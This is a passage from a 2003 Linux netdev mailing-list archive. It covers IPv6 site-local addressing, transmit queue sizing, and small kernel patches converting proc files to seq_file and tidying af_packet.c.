synchronize_net()? Message-ID: <20030913034611.GA83212@gaz.sfgoth.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i X-archive-position: 5879 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mitch@sfgoth.com Precedence: bulk X-list: netdev In 2.6.0-test5, synchronize_net() is simply: /* Synchronize with packet receive processing. */ void synchronize_net(void) { might_sleep(); synchronize_kernel(); } The "might_sleep()" isn't needed -- synchronize_kernel() calls wait_for_completion() which also calls it. Is there any reason for keeping synchronize_net() around as a seperate function? Maybe it should just be a #define instead. -Mitch From pekkas@netcore.fi Fri Sep 12 20:58:23 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 20:58:31 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8D3wMYa014458 for ; Fri, 12 Sep 2003 20:58:23 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id h8D3vxQ01075; Sat, 13 Sep 2003 06:57:59 +0300 Date: Sat, 13 Sep 2003 06:57:59 +0300 (EEST) From: Pekka Savola To: David Woodhouse cc: netdev@oss.sgi.com Subject: Re: IPv6 6to4 on site-local networks. In-Reply-To: <1063404261.7869.446.camel@imladris.demon.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 X-MIME-Autoconverted: from 8bit to quoted-printable by netcore.fi id h8D3vxQ01075 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8D3wMYa014458 X-archive-position: 5880 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev On Fri, 12 Sep 2003, David Woodhouse wrote: > On Fri, 2003-09-12 at 21:00 +0300, Pekka Savola wrote: > > The bottom line is: it's just so much better idea to use global addresses > > and filtering. > > Two separate global addresses -- one for the 'internal' communication, > one for external communication without the routes sucking. And a > half-baked 'most of the time it'll pick the right source address, > hopefully' approach. > > As opposed to a site address for intra-site communication and a global > address for global communication. The bottom line for that is: there is no longer a clear distinction of "inside" and "outside". Any design which assumes all the internal nodes can communicate freely with each other seems very subject to abuse, and multiple points of failure (where one node can compromise all of them). For such communication, globals are the best -- there has to be internal filtering -- and gives no false sense of security which would rely on addressing. Note that this is slightly different wrt. RFC1918 addresses. Deploying both globals and site-locals makes the problem of "compromise one node, use it as a stepping stone to compromise all the local nodes" slightly worse. Therefore, the use of "internal addresses" does not help with that except for very small sites (e.g. home, using dial-up and getting a different prefix every time, but the internal communication should stay stable), it only propagates bad design from IPv4 to IPv6. > > There is a problem especially with multi-party applications, which do > > referrals. Consider theree nodes A, B, and C. A and B are in the same > > site and have both globals and site-locals. C has only globals. By the > > "site-local smallest scope rule", A and B talk using site-locals. > > However, if B tells C to contact A, he gives C a site-local address of A, > > instead of the global. And C can't handle it. > > Don't Do That Then. > > Seriously; this is a known problem already and it's trivially avoidable. > Don't send a site-local address to a machine you're talking to using > globals. With explicit knowledge of scope, applications can _do_ that. > > Whereas in the vile 'hosts have both HQ-derived addresses for internal > communication and addresses derived from their local IPv6 uplink for > global communication' scenario, the application has _no_ chance of > picking the right address. Applications are not supposed to know the scope, or be able (or even WANT) to take any stance on the properties of addresses they're using. > > If you're interested to go a bit deeper to the reasoning, you may be > > interested to read > > http://www.ietf.org/internet-drafts/draft-wasserman-ipv6-sl-impact-02.txt > > At first glance, it seems that a lot of the problems go away if you > don't allow 'multi-sited' nodes, and more go away when you realise > they're already known and easily-avoided pitfalls of RFC1918 -- for > example, don't introduce gratuitous ambiguity by playing stupid > schizodns tricks as described in §3.3; True, to an extent. > use a sane domain like > 'company.internal' for site-local addresses. Right, but not everybody may be content with that kind of approach.. > I'll just have to trust that whatever the replacement is, it also solves > the address-selection issues which site-local scope solves _perfectly_ > for internal networks. I doubt that, because the address selection is something that caused a number of problems in the first place. However, longest prefix match gives a working communication in most cases. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From davem@pizda.ninka.net Fri Sep 12 21:00:59 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 21:01:04 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8D40xYa014845 for ; Fri, 12 Sep 2003 21:00:59 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id UAA17280; Fri, 12 Sep 2003 20:49:48 -0700 Date: Fri, 12 Sep 2003 20:49:47 -0700 From: "David S. Miller" To: hadi@cyberus.ca Cc: greearb@candelatech.com, jgarzik@pobox.com, scott.feldman@intel.com, netdev@oss.sgi.com, ricardoz@us.ibm.com Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default Message-Id: <20030912204947.5267e3aa.davem@redhat.com> In-Reply-To: <1063330463.1028.8.camel@jzny.localdomain> References: <3F60CA6D.9090503@pobox.com> <3F60D0F3.8080006@candelatech.com> <20030911131219.0ab8dfdd.davem@redhat.com> <3F60DDCC.5020906@candelatech.com> <20030911140746.4f0384a1.davem@redhat.com> <3F60E947.4090005@candelatech.com> <20030911142906.74d9dfe5.davem@redhat.com> <3F60F3F7.6090203@candelatech.com> <20030911160252.6cd6c07d.davem@redhat.com> <3F6103BB.5030706@candelatech.com> <1063330463.1028.8.camel@jzny.localdomain> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5881 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On 11 Sep 2003 21:34:23 -0400 jamal wrote: > dont increase the tx descriptor ring size - that would truly wasting > memory; 256 is pretty adequate. > * increase instead the txquelen (as suggested by Davem); user space > tools like ip or ifconfig could do it. The standard size has been around > 100 for 100Mbps; i suppose it is fair to say that Gige can move data out > at 10x that; so set it to 1000. Maybe you can do this from the driver > based on what negotiated speed is detected? I spoke with Alexey once about this, actually tx_queue_len can be arbitrarily large but it should be reasonable nonetheless. Our preliminary conclusions were that values of 1000 for 100Mbit and faster were probably appropriate. Maybe something larger for 1Gbit, who knows. We also determined that the only connection between TX descriptor ring size and dev->tx_queue_len was that the latter should be large enough to handle, at a minimum, the amount of pending TX descriptor ACKs that can be pending considering mitigation et al. So if TX irq mitigation can defer up to N TX descriptor completions then dev->tx_queue_len must be at least that large. Back to the main topic, maybe we should set dev->tx_queue_len to 1000 by default for all ethernet devices. From yoshfuji@linux-ipv6.org Fri Sep 12 22:19:22 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 22:19:33 -0700 (PDT) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.139.94]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8D5JKYa017006 for ; Fri, 12 Sep 2003 22:19:21 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (8.12.3+3.5Wbeta/8.12.3/Debian-5) with ESMTP id h8D5K71M003574; Sat, 13 Sep 2003 14:20:08 +0900 Date: Sat, 13 Sep 2003 14:20:07 +0900 (JST) Message-Id: <20030913.142007.113839771.yoshfuji@linux-ipv6.org> To: davem@redhat.com CC: netdev@oss.sgi.com Subject: [IPV4] convert proc/net/pnp to seq_file. From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 90 22 65 EB 1E CF 3A D1 0B DF 80 D8 48 07 F8 94 E0 62 0E EA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5882 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Convert /proc/net/pnp to seq_file. ===== net/ipv4/ipconfig.c 1.29 vs edited ===== --- 1.29/net/ipv4/ipconfig.c Fri Aug 15 16:41:43 2003 +++ edited/net/ipv4/ipconfig.c Sat Sep 13 13:47:03 2003 @@ -50,6 +50,7 @@ #include #include #include +#include #include #include #include @@ -1092,43 +1093,45 @@ #ifdef CONFIG_PROC_FS -static int pnp_get_info(char *buffer, char **start, - off_t offset, int length) +static int pnp_seq_show(struct seq_file *seq, void *v) { - int len; - int i; + int i; if (ic_proto_used & IC_PROTO) - sprintf(buffer, "#PROTO: %s\n", - (ic_proto_used & IC_RARP) ? "RARP" - : (ic_proto_used & IC_USE_DHCP) ? "DHCP" : "BOOTP"); + seq_printf(seq, "#PROTO: %s\n", + (ic_proto_used & IC_RARP) ? "RARP" + : (ic_proto_used & IC_USE_DHCP) ? "DHCP" : "BOOTP"); else - strcpy(buffer, "#MANUAL\n"); - len = strlen(buffer); + seq_puts(seq, "#MANUAL\n"); if (ic_domain[0]) - len += sprintf(buffer + len, - "domain %s\n", ic_domain); + seq_printf(seq, + "domain %s\n", ic_domain); for (i = 0; i < CONF_NAMESERVERS_MAX; i++) { if (ic_nameservers[i] != INADDR_NONE) - len += sprintf(buffer + len, - "nameserver %u.%u.%u.%u\n", - NIPQUAD(ic_nameservers[i])); + seq_printf(seq, + "nameserver %u.%u.%u.%u\n", + NIPQUAD(ic_nameservers[i])); } if (ic_servaddr != INADDR_NONE) - len += sprintf(buffer + len, - "bootserver %u.%u.%u.%u\n", - NIPQUAD(ic_servaddr)); - - if (offset > len) - offset = len; - *start = buffer + offset; - - if (offset + length > len) - length = len - offset; - return length; + seq_printf(seq, + "bootserver %u.%u.%u.%u\n", + NIPQUAD(ic_servaddr)); + return 0; } +static int pnp_seq_open(struct inode *indoe, struct file *file) +{ + return single_open(file, pnp_seq_show, NULL); +} + +static struct file_operations pnp_seq_fops = { + .owner = THIS_MODULE, + .open = pnp_seq_open, + .read = seq_read, + .llseek = seq_lseek, + .release = single_release, +}; #endif /* CONFIG_PROC_FS */ /* @@ -1140,7 +1143,7 @@ unsigned long jiff; #ifdef CONFIG_PROC_FS - proc_net_create("pnp", 0, pnp_get_info); + proc_net_fops_create("pnp", S_IRUGO, &pnp_seq_fops); #endif /* CONFIG_PROC_FS */ if (!ic_enable) -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From mitch@sfgoth.com Fri Sep 12 22:42:02 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 22:42:07 -0700 (PDT) Received: from gaz.sfgoth.com ([63.205.85.133]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8D5g2Ya022744 for ; Fri, 12 Sep 2003 22:42:02 -0700 Received: from gaz.sfgoth.com (localhost.sfgoth.com [127.0.0.1]) by gaz.sfgoth.com (8.12.9/8.12.6) with ESMTP id h8D5oXkV096576; Fri, 12 Sep 2003 22:50:33 -0700 (PDT) (envelope-from mitch@gaz.sfgoth.com) Received: (from mitch@localhost) by gaz.sfgoth.com (8.12.9/8.12.6/Submit) id h8D5oXtR096575; Fri, 12 Sep 2003 22:50:33 -0700 (PDT) (envelope-from mitch) Date: Fri, 12 Sep 2003 22:50:33 -0700 From: Mitchell Blank Jr To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] tiny af_packet.c cleanup Message-ID: <20030913055033.GB94744@gaz.sfgoth.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i X-archive-position: 5883 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mitch@sfgoth.com Precedence: bulk X-list: netdev In both places af_packet.c calls sk_run_filter() it does a "filter = sk->sk_filter" to store the pointer in a local variable. However, it never actually uses this variable for anything -- it always refers to the filter as sk->sk_filter instead. Clearly this wasn't intentional. This patch fixes up both of those cases and cleans up the code a tiny bit. Patch is versus 2.6.0-test5. -Mitch --- linux-2.6.0-test5-VIRGIN/net/packet/af_packet.c 2003-09-08 12:39:53.000000000 -0700 +++ linux-2.6.0-test5mnb1/net/packet/af_packet.c 2003-09-12 13:28:53.857179768 -0700 @@ -433,9 +433,9 @@ struct sk_filter *filter; bh_lock_sock(sk); - if ((filter = sk->sk_filter) != NULL) - res = sk_run_filter(skb, sk->sk_filter->insns, - sk->sk_filter->len); + filter = sk->sk_filter; + if (likely(filter != NULL)) /* re-check under lock */ + res = sk_run_filter(skb, filter->insns, filter->len); bh_unlock_sock(sk); if (res == 0) @@ -537,9 +537,9 @@ struct sk_filter *filter; bh_lock_sock(sk); - if ((filter = sk->sk_filter) != NULL) - res = sk_run_filter(skb, sk->sk_filter->insns, - sk->sk_filter->len); + filter = sk->sk_filter; + if (likely(filter != NULL)) /* re-check under lock */ + res = sk_run_filter(skb, filter->insns, filter->len); bh_unlock_sock(sk); if (res == 0) From yoshfuji@linux-ipv6.org Fri Sep 12 23:25:54 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 23:26:04 -0700 (PDT) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.139.94]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8D6PqYa024270 for ; Fri, 12 Sep 2003 23:25:53 -0700 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (8.12.3+3.5Wbeta/8.12.3/Debian-5) with ESMTP id h8D5TU1M003606; Sat, 13 Sep 2003 14:29:30 +0900 Date: Sat, 13 Sep 2003 14:29:29 +0900 (JST) Message-Id: <20030913.142929.91737848.yoshfuji@linux-ipv6.org> To: davem@redhat.com CC: netdev@oss.sgi.com Subject: [PATCH] NET: use proc_net_fops_create() for /proc/net/wireless From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 90 22 65 EB 1E CF 3A D1 0B DF 80 D8 48 07 F8 94 E0 62 0E EA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 5884 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev use proc_net_fops_create() for /proc/net/wireless ===== net/core/wireless.c 1.13 vs edited ===== --- 1.13/net/core/wireless.c Tue Sep 9 10:35:35 2003 +++ edited/net/core/wireless.c Sat Sep 13 14:09:03 2003 @@ -495,15 +495,10 @@ int __init wireless_proc_init(void) { - struct proc_dir_entry *p; - int rc = 0; + if (!proc_net_fops_create("wireless", S_IRUGO, &wireless_seq_fops)) + return -ENOMEM; - p = create_proc_entry("wireless", S_IRUGO, proc_net); - if (p) - p->proc_fops = &wireless_seq_fops; - else - rc = -ENOMEM; - return rc; + return 0; } #endif /* CONFIG_PROC_FS */ -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From romieu@fr.zoreil.com Sat Sep 13 00:38:29 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 13 Sep 2003 00:38:38 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8D7cQYa024204 for ; Sat, 13 Sep 2003 00:38:28 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id h8D7a0xA024047; Sat, 13 Sep 2003 09:36:00 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id h8D7ZxVV024046; Sat, 13 Sep 2003 09:35:59 +0200 Date: Sat, 13 Sep 2003 09:35:59 +0200 From: Francois Romieu To: Mitchell Blank Jr Cc: "David S. Miller" , netdev@oss.sgi.com Subject: Re: [PATCH] tiny af_packet.c cleanup Message-ID: <20030913093559.A23840@electric-eye.fr.zoreil.com> References: <20030913055033.GB94744@gaz.sfgoth.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20030913055033.GB94744@gaz.sfgoth.com>; from mitch@sfgoth.com on Fri, Sep 12, 2003 at 10:50:33PM -0700 X-archive-position: 5885 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Mitchell Blank Jr : [...] > --- linux-2.6.0-test5-VIRGIN/net/packet/af_packet.c 2003-09-08 12:39:53.000000000 -0700 > +++ linux-2.6.0-test5mnb1/net/packet/af_packet.c 2003-09-12 13:28:53.857179768 -0700 > @@ -433,9 +433,9 @@ > struct sk_filter *filter; > > bh_lock_sock(sk); > - if ((filter = sk->sk_filter) != NULL) > - res = sk_run_filter(skb, sk->sk_filter->insns, > - sk->sk_filter->len); > + filter = sk->sk_filter; > + if (likely(filter != NULL)) /* re-check under lock */ > + res = sk_run_filter(skb, filter->insns, filter->len); 1 - pointers tests against NULL are naturally supposed "unlikely" by gcc. 2 - I am not completely convinced that the "/* re-check under lock */" comment is really useful either: the lock statement is on the line before. Make it more spartan: --- linux-2.6.0-test5-VIRGIN/net/packet/af_packet.c 2003-09-08 12:39:53.000000000 -0700 +++ linux-2.6.0-test5mnb1/net/packet/af_packet.c 2003-09-12 13:28:53.857179768 -0700 @@ -433,9 +433,9 @@ struct sk_filter *filter; bh_lock_sock(sk); - if ((filter = sk->sk_filter) != NULL) - res = sk_run_filter(skb, sk->sk_filter->insns, - sk->sk_filter->len); + filter = sk->sk_filter; + if (filter) + res = sk_run_filter(skb, filter->insns, filter->len); bh_unlock_sock(sk); if (res == 0) @@ -537,9 +537,9 @@ struct sk_filter *filter; bh_lock_sock(sk); - if ((filter = sk->sk_filter) != NULL) - res = sk_run_filter(skb, sk->sk_filter->insns, - sk->sk_filter->len); + filter = sk->sk_filter; + if (filter) + res = sk_run_filter(skb, filter->insns, filter->len); bh_unlock_sock(sk); if (res == 0) From mitch@sfgoth.com Sat Sep 13 00:54:24 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 13 Sep 2003 00:54:27 -0700 (PDT) Received: from gaz.sfgoth.com ([63.205.85.133]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8D7sNYa031986 for ; Sat, 13 Sep 2003 00:54:23 -0700 Received: from gaz.sfgoth.com (localhost.sfgoth.com [127.0.0.1]) by gaz.sfgoth.com (8.12.9/8.12.6) with ESMTP id h8D82qkV000699; Sat, 13 Sep 2003 01:02:52 -0700 (PDT) (envelope-from mitch@gaz.sfgoth.com) Received: (from mitch@localhost) by gaz.sfgoth.com (8.12.9/8.12.6/Submit) id h8D82qrT000698; Sat, 13 Sep 2003 01:02:52 -0700 (PDT) (envelope-from mitch) Date: Sat, 13 Sep 2003 01:02:52 -0700 From: Mitchell Blank Jr To: Francois Romieu Cc: netdev@oss.sgi.com Subject: Re: [PATCH] tiny af_packet.c cleanup Message-ID: <20030913080252.GE94744@gaz.sfgoth.com> References: <20030913055033.GB94744@gaz.sfgoth.com> <20030913093559.A23840@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20030913093559.A23840@electric-eye.fr.zoreil.com> User-Agent: Mutt/1.4.1i X-archive-position: 5886 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mitch@sfgoth.com Precedence: bulk X-list: netdev Francois Romieu wrote: > 2 - I am not completely convinced that the "/* re-check under lock */" > comment is really useful either: the lock statement is on the line before. I thought that without the comment someone might think that the second "if()" wasn't needed (since we had just checked the same value against NULL a few lines up) -Mitch From dwmw2@infradead.org Sat Sep 13 01:39:57 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 13 Sep 2003 01:40:07 -0700 (PDT) Received: from imladris.demon.co.uk (imladris.demon.co.uk [193.237.130.41]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8D8dsYa001253 for ; Sat, 13 Sep 2003 01:39:56 -0700 Received: from localhost.localdomain ([127.0.0.1] helo=localhost) by imladris.demon.co.uk with esmtp (Exim 4.22) id 19y5we-0001Fc-W1; Sat, 13 Sep 2003 09:39:53 +0100 Subject: Re: IPv6 6to4 on site-local networks. From: David Woodhouse To: Pekka Savola Cc: netdev@oss.sgi.com In-Reply-To: References: Content-Type: text/plain Message-Id: <1063442392.4455.47.camel@imladris.demon.co.uk> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 (1.4.4-5.dwmw2.1) Date: Sat, 13 Sep 2003 09:39:52 +0100 Content-Transfer-Encoding: 7bit X-SA-Exim-Mail-From: dwmw2@infradead.org X-SA-Exim-Scanned: No; SAEximRunCond expanded to false X-archive-position: 5887 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev On Sat, 2003-09-13 at 06:57 +0300, Pekka Savola wrote: > The bottom line for that is: there is no longer a clear distinction of > "inside" and "outside". To clarify... there currently is; you are saying that there shall not be, and appear to believe personally that there _should_ not be. > Any design which assumes all the internal nodes > can communicate freely with each other seems very subject to abuse, and > multiple points of failure (where one node can compromise all of them). > For such communication, globals are the best -- there has to be internal > filtering -- and gives no false sense of security which would rely on > addressing. Whether you firewall your inter-office traffic at the borders is an orthogonal issue, surely? In practice, since most hosts run the same software, if you own one you might as well own them all _directly_ rather than via the one you owned. And since most people will log into the most important servers from their own workstations, if you trojan ssh you'll soon get there too... regardless of internal firewalling, which _can't_ block port 22. Besides, if they own one host, they can already use the internal IPv4 network to attack the rest. That's not going to be taken down overnight. > Note that this is slightly different wrt. RFC1918 addresses. Deploying > both globals and site-locals makes the problem of "compromise one node, > use it as a stepping stone to compromise all the local nodes" slightly > worse. If there are no blocks in ingress to the global addresses. To be honest, I'd settle for putting the internal hosts behind NAT. We do not want ingress -- except by SSH only, via a limited set of trusted bastion hosts. > Therefore, the use of "internal addresses" does not help with that except > for very small sites (e.g. home, using dial-up and getting a different > prefix every time, but the internal communication should stay stable), it > only propagates bad design from IPv4 to IPv6. Its 'badness' is a matter of opinion. I think we can objectively say that it is a widely deployed and understood design, the absence of which causes significant conceptual barriers to those attempting to deploy IPv6. > Applications are not supposed to know the scope, or be able (or even WANT) > to take any stance on the properties of addresses they're using. So you advocate the non-routeable 'fc00::/7' addressses so that applications _cannot_ know the scope and make sane decisions; stuff just breaks instead. I don't see that this is an improvement. > > At first glance, it seems that a lot of the problems go away if you > > don't allow 'multi-sited' nodes, and more go away when you realise > > they're already known and easily-avoided pitfalls of RFC1918 > True, to an extent. To a very large extent. > > use a sane domain like 'company.internal' for site-local addresses. > > Right, but not everybody may be content with that kind of approach.. That is their problem. And it'll continue to cause the same kind of problems with 'leakage' that it does today; the kind of problem you want to stop. Only instead of site-local addresses 'leaking' it's site-local _names_. Are they going to ban schizodns too? :) But again, that's an orthogonal problem. It didn't really live in the document to which you referred me. The authors really seemed to be clutching at straws by that point. > > I'll just have to trust that whatever the replacement is, it also solves > > the address-selection issues which site-local scope solves _perfectly_ > > for internal networks. > > I doubt that, because the address selection is something that caused a > number of problems in the first place. However, longest prefix match > gives a working communication in most cases. OK.... so we go from a solution which gives a working communication in _all_ cases, including the current case where we engineers are using site-local addresses internally _long_ before persuading IS to allow global routing, and our connections to hosts with both IPv4 and IPv6-global addresses works fine since we only have site-local addresses... to a situation far far worse. RFC1918 may be a 'flawed' design to some people but it's almost universally understood and deployed. The abolition of site-local addresses is seems to be a huge barrier to adoption of IPv6. I suppose we could work with the fc00::/7 non-routeable addresses, and NAT. Are people as opposed to IPv6-NAT as I was told they are? I'd discounted that as a solution before even starting... -- dwmw2 From romieu@fr.zoreil.com Sat Sep 13 02:08:28 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 13 Sep 2003 02:08:31 -0700 (PDT) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8D98QYa001826 for ; Sat, 13 Sep 2003 02:08:27 -0700 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id h8D93rxA024704; Sat, 13 Sep 2003 11:03:53 +0200 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id h8D93rVJ024703; Sat, 13 Sep 2003 11:03:53 +0200 Date: Sat, 13 Sep 2003 11:03:53 +0200 From: Francois Romieu To: Mitchell Blank Jr Cc: netdev@oss.sgi.com Subject: Re: [PATCH] tiny af_packet.c cleanup Message-ID: <20030913110353.B23840@electric-eye.fr.zoreil.com> References: <20030913055033.GB94744@gaz.sfgoth.com> <20030913093559.A23840@electric-eye.fr.zoreil.com> <20030913080252.GE94744@gaz.sfgoth.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20030913080252.GE94744@gaz.sfgoth.com>; from mitch@sfgoth.com on Sat, Sep 13, 2003 at 01:02:52AM -0700 X-archive-position: 5888 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Mitchell Blank Jr : [...] > I thought that without the comment someone might think that the second > "if()" wasn't needed (since we had just checked the same value against > NULL a few lines up) Ok, I completely missed the intent. Actually packet_rcv() is run in a BH context and doesn't race with SO_{ATTACH/DETACH}_FILTER from sock_setsockopt() which does the appropriate BH locking (spin_lock_bh(&sk->sk_lock.slock) in net/core/sock.c::sock_setsockopt and in net/core/filter.c::sk_attach_filter). packet_rcv() doesn't race with BH either due to the bh_lock_sock (a spin_lock in disguise) you quoted. That being said, I don't see how such an explanation could fit in a short, inlined comment. :o) -- Ueimor From Robert.Olsson@data.slu.se Sat Sep 13 04:53:09 2003 Received: with ECARTIS (v1.0.0; list netdev); Sat, 13 Sep 2003 04:53:29 -0700 (PDT) Received: from robur.slu.se (robur.slu.se [130.238.98.12]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8DBr6Ya007355 for ; Sat, 13 Sep 2003 04:53:09 -0700 Received: (from robert@localhost) by robur.slu.se (8.9.3p2/8.9.3) id NAA17468; Sat, 13 Sep 2003 13:52:37 +0200 From: Robert Olsson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16227.1284.893748.365713@robur.slu.se> Date: Sat, 13 Sep 2003 13:52:36 +0200 To: "David S. Miller" Cc: hadi@cyberus.ca, greearb@candelatech.com, jgarzik@pobox.com, scott.feldman@intel.com, netdev@oss.sgi.com, ricardoz@us.ibm.com Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default In-Reply-To: <20030912204947.5267e3aa.davem@redhat.com> References: <3F60CA6D.9090503@pobox.com> <3F60D0F3.8080006@candelatech.com> <20030911131219.0ab8dfdd.davem@redhat.com> <3F60DDCC.5020906@candelatech.com> <20030911140746.4f0384a1.davem@redhat.com> <3F60E947.4090005@candelatech.com> <20030911142906.74d9dfe5.davem@redhat.com> <3F60F3F7.6090203@candelatech.com> <20030911160252.6cd6c07d.davem@redhat.com> <3F6103BB.5030706@candelatech.com> <1063330463.1028.8.camel@jzny.localdomain> <20030912204947.5267e3aa.davem@redhat.com> X-Mailer: VM 6.92 under Emacs 19.34.1 X-archive-position: 5889 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Robert.Olsson@data.slu.se Precedence: bulk X-list: netdev David S. Miller writes: > On 11 Sep 2003 21:34:23 -0400 > jamal wrote: > > > dont increase the tx descriptor ring size - that would truly wasting > > memory; 256 is pretty adequate. > > * increase instead the txquelen (as suggested by Davem); user space > > tools like ip or ifconfig could do 